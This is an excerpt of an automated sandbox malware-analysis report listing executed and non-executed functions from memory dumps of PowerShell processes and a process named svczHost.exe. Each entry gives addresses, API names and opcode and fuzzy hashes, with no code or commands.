Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ee3356dda89a4d7df1a1edc0decf387feeb76cdc43a44fe9b08ee816e11a39
Instruction ID: a9ff4622033690cda2af6208c8b0cbd9733ced408513d3f87986a0bbdfa8efc2
Opcode Fuzzy Hash: 33ee3356dda89a4d7df1a1edc0decf387feeb76cdc43a44fe9b08ee816e11a39
Instruction Fuzzy Hash: CB01677121CB0D4FD744EF0CE451AA6B7E0FB95324F10056DE58AC3651DB36E882CB45

Function 00007FFD13BE2E58 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fdc18fffb2fa33b1bef1d0ec14ea33d643d8a90eeaa9750e4ed714f6f2bfc63
Instruction ID: e5702ab4a8179fa21d460eb0570ae220393e00db5b0b86cd20dd1656033b29d9
Opcode Fuzzy Hash: 8fdc18fffb2fa33b1bef1d0ec14ea33d643d8a90eeaa9750e4ed714f6f2bfc63
Instruction Fuzzy Hash: 97F0B431808A8D4FEB1AAF28C8555D57FA0EF2A310B0502ABE458C71A2DB759858CBC2

Non-executed Functions

Function 00007FFD13BD0EF3 Relevance: 1.5, Strings: 1, Instructions: 290COMMON

Download Yara Rule

Strings

4S_^, xrefs: 00007FFD13BD1071

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID: 4S_^
API String ID: 0-2164727147
Opcode ID: a9470028ae761dd3285f150f38ceeecd928d33a4fa02669fd4ee7d814a4cdf44
Instruction ID: 8a59fa6236702cc4213990806471715039bb5245ad4960620300b929b2892fec
Opcode Fuzzy Hash: a9470028ae761dd3285f150f38ceeecd928d33a4fa02669fd4ee7d814a4cdf44
Instruction Fuzzy Hash: 6E91C297F0EAD65BF7625B3D99B51917FA0EF12668F0901B3D0D86E0D3F93838068261

Analysis Process: powershell.exePID: 7852, Parent PID: 6616COMMON

Executed Functions

Function 00007FFD13A8ED40 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4017769341.00007FFD13A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd13a8d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 020a21cdb9a696a09fa44caa9675e696b67422731e2acfdea4cd6b90005b3917
Instruction ID: 7a62ef21a12947a75da47c29a2e508946b80455d85cee4cad5a877d48ddf94f9
Opcode Fuzzy Hash: 020a21cdb9a696a09fa44caa9675e696b67422731e2acfdea4cd6b90005b3917
Instruction Fuzzy Hash: 9D41147050DBC48FE7568B389855A623FF0EF56325B1906DFD08CCB1A3D629E84AC792

Function 00007FFD13BA3C85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4019190766.00007FFD13BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd13ba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e421259d8d34b9c0091965a60ff15fbe079e65e851eed83e64075263ad057491
Instruction ID: 7e9da9aa0e9a6538356c730482cce1d42cb9ca4478b3fd548017b5f9c5ff39df
Opcode Fuzzy Hash: e421259d8d34b9c0091965a60ff15fbe079e65e851eed83e64075263ad057491
Instruction Fuzzy Hash: 7901677121CB0C4FD744EF0CE451AA5B7E0FB95324F50056DE58AC3651DB36E881CB45

Analysis Process: powershell.exePID: 5508, Parent PID: 6620COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD13BAE674 Relevance: 1.6, APIs: 1, Instructions: 116
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFD13BAE71E

Memory Dump Source

Source File: 0000000C.00000002.4879408735.00007FFD13BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd13ba0000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 43e1babb24aaa97cd6398d40b36ccb0cd239fe5ce7cfc65a691abfdf14bca67b
Instruction ID: 9069bedb6b9dbc4a023378e97097a9abcbe61b2967723b447bc3dc727e4ff358
Opcode Fuzzy Hash: 43e1babb24aaa97cd6398d40b36ccb0cd239fe5ce7cfc65a691abfdf14bca67b
Instruction Fuzzy Hash: AD31B231A0CE5C8FEB59DBACC849AE9BBE0EB55321F04422BD049D3251DB74A845CB91

Function 00007FFD140D2A92 Relevance: .5, Instructions: 459
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4903365502.00007FFD140D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD140D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd140d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24c8b6b8622be7e8871a2b9dcd4d3592277245ab6b362938bcd7e474a632461e
Instruction ID: 78ec38f1ded474946ed48421e1412f98b6d5b9edae31b25ff07f85108d507994
Opcode Fuzzy Hash: 24c8b6b8622be7e8871a2b9dcd4d3592277245ab6b362938bcd7e474a632461e
Instruction Fuzzy Hash: 67D10521A1DBC94FF756973898A56A53FE1EF87330B1801FEF489CB0A3D919684AD341

Function 00007FFD140D1E51 Relevance: .3, Instructions: 315
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4903365502.00007FFD140D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD140D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd140d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f96c2fad448c2dc04e848c02ff23295ec1dfc57a59271144abbb1e004142ae
Instruction ID: 43fd262135352d2b5b19809654251a75504323ebc565e9ec5ef5c498b8ef7698
Opcode Fuzzy Hash: 01f96c2fad448c2dc04e848c02ff23295ec1dfc57a59271144abbb1e004142ae
Instruction Fuzzy Hash: A0912522B0DFC94FE7569B3958646B57FA1EF57220B0801FBE489CB1A3DE189C09D351

Function 00007FFD13C72028 Relevance: .2, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4882549932.00007FFD13C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd13c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b13aca17ffb7cb126070bc150ea1d966f58d60f2af4efbdec135245aa638609
Instruction ID: f9fde9b427776b3f8f866cf3964273becb87185734a0a4d93935f18ebb8c8b1a
Opcode Fuzzy Hash: 7b13aca17ffb7cb126070bc150ea1d966f58d60f2af4efbdec135245aa638609
Instruction Fuzzy Hash: 4D412433B1CE5A4BFB64962C58A55FD77D3EF98220B18417BD84EE3292DD29A8018390

Function 00007FFD13A8EE20 Relevance: .1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4876935496.00007FFD13A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd13a8d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea1032bee332ebc77753d87a12ef4d899e8c1dbb1778fbc56c380bc24c711d04
Instruction ID: 2090f9631b9566f0718027caddaebed5ed0b9148c6e579748632c95841716c15
Opcode Fuzzy Hash: ea1032bee332ebc77753d87a12ef4d899e8c1dbb1778fbc56c380bc24c711d04
Instruction Fuzzy Hash: C441137190DBC49FE7569B3898519523FF0EF52320B1506EFD088CB1A3DA25E846C7A2

Function 00007FFD140D3FD4 Relevance: .0, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4903365502.00007FFD140D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD140D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd140d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 868b8bdefaaf2ca04154294cc5f26651a31d73ecbb35bd010bc85baa5f8bfbf3
Instruction ID: 07d75a529fab3d3d15c8fd256961da925ec354342add66286c55b1ead3f9f40f
Opcode Fuzzy Hash: 868b8bdefaaf2ca04154294cc5f26651a31d73ecbb35bd010bc85baa5f8bfbf3
Instruction Fuzzy Hash: CCF0A03131CF044FE748EF2CE8496A2B3E0FBA8310F10462FE44AC3251DA21E8818782

Analysis Process: svczHost.exePID: 9168, Parent PID: 1260COMMON

Non-executed Functions

Function 00007FF6B1E3BFE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6B1E3C00C
GetCurrentThreadId.KERNEL32 ref: 00007FF6B1E3C01A
GetCurrentProcessId.KERNEL32 ref: 00007FF6B1E3C026
QueryPerformanceCounter.KERNEL32 ref: 00007FF6B1E3C036

Memory Dump Source

Source File: 00000015.00000002.5364207608.00007FF6B1D81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6B1D80000, based on PE: true

Associated: 00000015.00000002.5364170062.00007FF6B1D80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5365382282.00007FF6B2200000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5365788185.00007FF6B2372000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5365788185.00007FF6B2488000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5366535938.00007FF6B2697000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5366567319.00007FF6B2698000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5366567319.00007FF6B26B1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5366567319.00007FF6B26B4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5366567319.00007FF6B26B6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.5366712504.00007FF6B26B9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff6b1d80000_svczHost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction ID: fb8cd250d450f2a31d6489df3af85c332c309df8cae05cca15ec5d22268b5781
Opcode Fuzzy Hash: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction Fuzzy Hash: BB112E26B14F058AEB01DF64E8542B833E4FB59758F440E31DB6D877A8DFB8D5A48340

Analysis Process: powershell.exePID: 8260, Parent PID: 9168COMMON

Executed Functions

Function 00007FFD13BB7819 Relevance: .4, Instructions: 400COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4808687235.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38194c7fd89606f906898cc99e24c03485abd8cbcafeaa5eb2b50b28237d9e49
Instruction ID: ebeb2bc9858871b1c32bb014b7ea28edfabd8ea0cb1182fc8f1ee4d0872747a6
Opcode Fuzzy Hash: 38194c7fd89606f906898cc99e24c03485abd8cbcafeaa5eb2b50b28237d9e49
Instruction Fuzzy Hash: 2FD17131A18E4D8FEBA8DF28C8667E977D1FF58310F14426AD84DD7295DF34A9408B81

Function 00007FFD13BB85C9 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4808687235.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92f7be172e897713d9350f868f2dbbcf21fc3a1e397d6f788ff149bea34a129b
Instruction ID: 709ed5349a5bbb00e6ec1cfccd6061afe02c44d8f48b260b25cdf821e7478306
Opcode Fuzzy Hash: 92f7be172e897713d9350f868f2dbbcf21fc3a1e397d6f788ff149bea34a129b
Instruction Fuzzy Hash: C7D18330A18E8D8FEBA8DF28C8657E977D1FB58311F14822ED84DD7295DF74A9408B81

Function 00007FFD13BB81D9 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4808687235.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d9d09f1924cd49149d817cba2875e87f86b9e7922a4e3587a28e103f3a19daa
Instruction ID: ff26f7997bbb368eebfeab9bde60ae1ab333a3fb67e52a0f44a4bf9b6513cb7e
Opcode Fuzzy Hash: 7d9d09f1924cd49149d817cba2875e87f86b9e7922a4e3587a28e103f3a19daa
Instruction Fuzzy Hash: 7A917230A18E4D8FEBA8DF28C4557E93BD1FF58311F54422EE88DC7295DE74A9408B82

Function 00007FFD13BB7C64 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4808687235.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ee86f5fceccdfd7fc77765c0a53277349c37d53252f45900ecb64bdcbd97da0
Instruction ID: 2730414b6d0a27e975c6b895321c2b169e38366c60a6bd82fd8f7edfa2830ff2
Opcode Fuzzy Hash: 8ee86f5fceccdfd7fc77765c0a53277349c37d53252f45900ecb64bdcbd97da0
Instruction Fuzzy Hash: 70312030A1CA8D8EFBB49F24CD2ABFA3395FF41365F440139D48D96196EE386985CB11

Function 00007FFD13BB33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4808687235.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 904ddcc0f519508aa89991c4e22db77cdfffe6a81e6581a36432e14cf2a13433
Instruction ID: b1f342c9805a89ac13e10c2f29908a6b0d96321ee25c986b680154db5728bb0f
Opcode Fuzzy Hash: 904ddcc0f519508aa89991c4e22db77cdfffe6a81e6581a36432e14cf2a13433
Instruction Fuzzy Hash: B201677121CB0C4FD744EF0CE451AA6B7E0FB95324F54056DE58AC3655DB36E882CB45

Analysis Process: powershell.exePID: 8744, Parent PID: 9168COMMON

Executed Functions

Function 00007FFD13BB86F6 Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFD13BB880E

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: dae5f27bc2bcbe814bd77eaf06bb228c6709198c92559d9912b8cbb40ead00e3
Instruction ID: b3b5d495c4a83f59105f1c661fde2c89b7aed05b32bf2688f703f5f748779528
Opcode Fuzzy Hash: dae5f27bc2bcbe814bd77eaf06bb228c6709198c92559d9912b8cbb40ead00e3
Instruction Fuzzy Hash: B5511621A0DAC90FE729DA38DC665EA7FD0EF46331F0802BDC489D70D6DE29A4168381

Function 00007FFD13BB871F Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFD13BB880E

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4a3dd6d6025596e4e3cd15a86e4876b529da08f96865972e025310b414815870
Instruction ID: 5a1e35575ab0cbfb17c426e80eed2c27a1fe89b05e084be06778e00f2af7053f
Opcode Fuzzy Hash: 4a3dd6d6025596e4e3cd15a86e4876b529da08f96865972e025310b414815870
Instruction Fuzzy Hash: B2414B25E0DAD94FF775D63899A16FA7FD0AF42224F0802BDC4DA9B1C6ED196006C391

Function 00007FFD13BB8738 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFD13BB880E

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: d0381133e8adf530cee11eb57c912bed90e5bdfcfbe674446e7b8dad79430524
Instruction ID: 129bb63d69993b0f7391af21b5bcc2e824176d6764e7bcd899d6e028acac44f8
Opcode Fuzzy Hash: d0381133e8adf530cee11eb57c912bed90e5bdfcfbe674446e7b8dad79430524
Instruction Fuzzy Hash: 2131F624E1CAD94FF769D638D9A22FA7FD0EF45324F18027CC4DAA71C6DE2965068381

Function 00007FFD13BB8751 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFD13BB880E

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: aa1f6d111a15b65e581b17278e74f351cfb2cc578526a4c62a9fe219ebb742a3
Instruction ID: df3b8558d84eb2d90818457054094a79bd93db6c8f3c2693f80613d94a5b0b85
Opcode Fuzzy Hash: aa1f6d111a15b65e581b17278e74f351cfb2cc578526a4c62a9fe219ebb742a3
Instruction Fuzzy Hash: 4F213924E0CAD94FF768DA28D9A12FD7BD0EF01324F04037CC4DAA71C6EE2965068341

Function 00007FFD13BB6FED Relevance: .4, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32fe6738aa94e9f06b6c59b3314c44066f3741ec845eaaaf0eaf35c924e28e9c
Instruction ID: 8e300e2d750b21d8199170c7059b2d810d7cc59f7755fa96b8ec14162128fd6a
Opcode Fuzzy Hash: 32fe6738aa94e9f06b6c59b3314c44066f3741ec845eaaaf0eaf35c924e28e9c
Instruction Fuzzy Hash: 34B1B352F0EEC60FFB758678897626A7BA1EF52220F4801BBD0C9971DBFC14AD058391

Function 00007FFD13BB7030 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 240029f3fc43cd716af0117ea3b263fe16ed8febfee0d9f2a4e35d407e169dca
Instruction ID: d0a2174ff9b907a1520a7e6fd2e68e84e14547c216d1fe519f253b0d1df0ce29
Opcode Fuzzy Hash: 240029f3fc43cd716af0117ea3b263fe16ed8febfee0d9f2a4e35d407e169dca
Instruction Fuzzy Hash: 55A1D452F0DEC60FFB75867889362BA7BA1EF56220F0801BBD0C9971DBEC14AD058391

Function 00007FFD13BB7DCE Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1a997167b8f63ea2816cccc257b0299ba1e6901a616608e5bd7b4645133951d
Instruction ID: 630d76143c8256e423f0a68cc0012b38f8b102e753d9fecdcea60f3a89bcf68c
Opcode Fuzzy Hash: b1a997167b8f63ea2816cccc257b0299ba1e6901a616608e5bd7b4645133951d
Instruction Fuzzy Hash: B7618331A0CA5C8FEB69DF58D8557E9B7F0FF58320F0442AAD48DE3251DE70A9858B81

Function 00007FFD13BB7130 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3790d816d5a1d9c99dbdc9f2410155bd4e0b6026c21acf40ab611d68e7f510b1
Instruction ID: 4a24c5314888bd3d8f8906cb1d0b559c97358857882a5b095d1546b349094b61
Opcode Fuzzy Hash: 3790d816d5a1d9c99dbdc9f2410155bd4e0b6026c21acf40ab611d68e7f510b1
Instruction Fuzzy Hash: B651F421F0CE8A0BFB75963489767BA7BE1EF55320F04017AD48AE71CAFD24AD058391

Function 00007FFD13BBAC32 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef739744736411e95aa5881a9039ace206f726ebfac39764209bdef4bacf3810
Instruction ID: 20fde1b7db4b388a2ff5ae7646116e06d90676b3bc435b87c92f9abf042d2d75
Opcode Fuzzy Hash: ef739744736411e95aa5881a9039ace206f726ebfac39764209bdef4bacf3810
Instruction Fuzzy Hash: 4A417331F1CD094BEB69E638C8656EAB3E1FF58320F40457AD05EE3586EE34B9458781

Function 00007FFD13BB7ED0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 082e95d2894f1f5625ae10e982bb5d549bccd46f8064672883df20276d41a039
Instruction ID: 0e9f233751beb3fcd41bf45d51490672b9d31e01018d8441262e0751b77ddfe6
Opcode Fuzzy Hash: 082e95d2894f1f5625ae10e982bb5d549bccd46f8064672883df20276d41a039
Instruction Fuzzy Hash: EB41C63290CA5D8EEB64DF58D8917EDB7F0FF58320F04416AD09EA3245EE74A945CB84

Function 00007FFD13BB7EEF Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eccfc9b3dca8a02801a2c653aa30e8c5b6c46fda7602da96c1d30db368dd2ad5
Instruction ID: 38675d4027192ae85aeec44fbd773a782fad8f255e8ecb7f79af211366f6172b
Opcode Fuzzy Hash: eccfc9b3dca8a02801a2c653aa30e8c5b6c46fda7602da96c1d30db368dd2ad5
Instruction Fuzzy Hash: 5D413F31A18A5C8FDF64DB58D895BEDB3B1FF64310F008299D04EA7245DE70AA85CF85

Function 00007FFD13BB85F8 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247d511c630b7eb13367339fc7bf2d55b390eff5dc9fcb89e2af7b491de272fb
Instruction ID: 6d1453c911e73947dc0b8118549688fd3b1db422c55096023a1fa7c6efb186fd
Opcode Fuzzy Hash: 247d511c630b7eb13367339fc7bf2d55b390eff5dc9fcb89e2af7b491de272fb
Instruction Fuzzy Hash: CC312A3260CA8D4FEBA4EB28C8557E77BE1FF55310F4406BAD489D7186DE35E8058781

Function 00007FFD13BBB03B Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20ddd56df18e7632f1971a442dda045f45d15ea4cd3359a911628a83583b6712
Instruction ID: 69cd6300a49a12e55c2a1fd92bc969b487d18b7e96c97bf9d1567597bfc3852c
Opcode Fuzzy Hash: 20ddd56df18e7632f1971a442dda045f45d15ea4cd3359a911628a83583b6712
Instruction Fuzzy Hash: 3911E732B1CA498FE770EF78C499566B3D1FB98350F104B3AD049C3265EE74E8848781

Function 00007FFD13BBB040 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cf6e2f005114a1ecb607f9fa576b40d7a898756a81ab56cb492cb044f1075e1
Instruction ID: ac8ce9fe952c4d3ec6cc2e5d1d212f95f98784ccf42e2d43f4340b1d38f64f4d
Opcode Fuzzy Hash: 8cf6e2f005114a1ecb607f9fa576b40d7a898756a81ab56cb492cb044f1075e1
Instruction Fuzzy Hash: A011C631B1CA498FE770EE78C459967B7E1EB98360F104B3AD449C3265EE74E484C781

Function 00007FFD13BBB02E Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd13bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dbb3222c3857181da58826ff93b3ca435155fd52f8484c00a027f1d623c1324
Instruction ID: 54088624d206c08b11a74eaaf4fec94f090a0a6224e1a45d2991163b1862aa2e
Opcode Fuzzy Hash: 6dbb3222c3857181da58826ff93b3ca435155fd52f8484c00a027f1d623c1324
Instruction Fuzzy Hash: E3117231A1C7858FE760DB78C55475AB7D0BF45350F100A7EE089D7295EA78E484C742

Function 00007FFD13BB6700 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4717451457.00007FFD13BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BB0000, based on PE: false

Joe Sandbox IDA Plugin

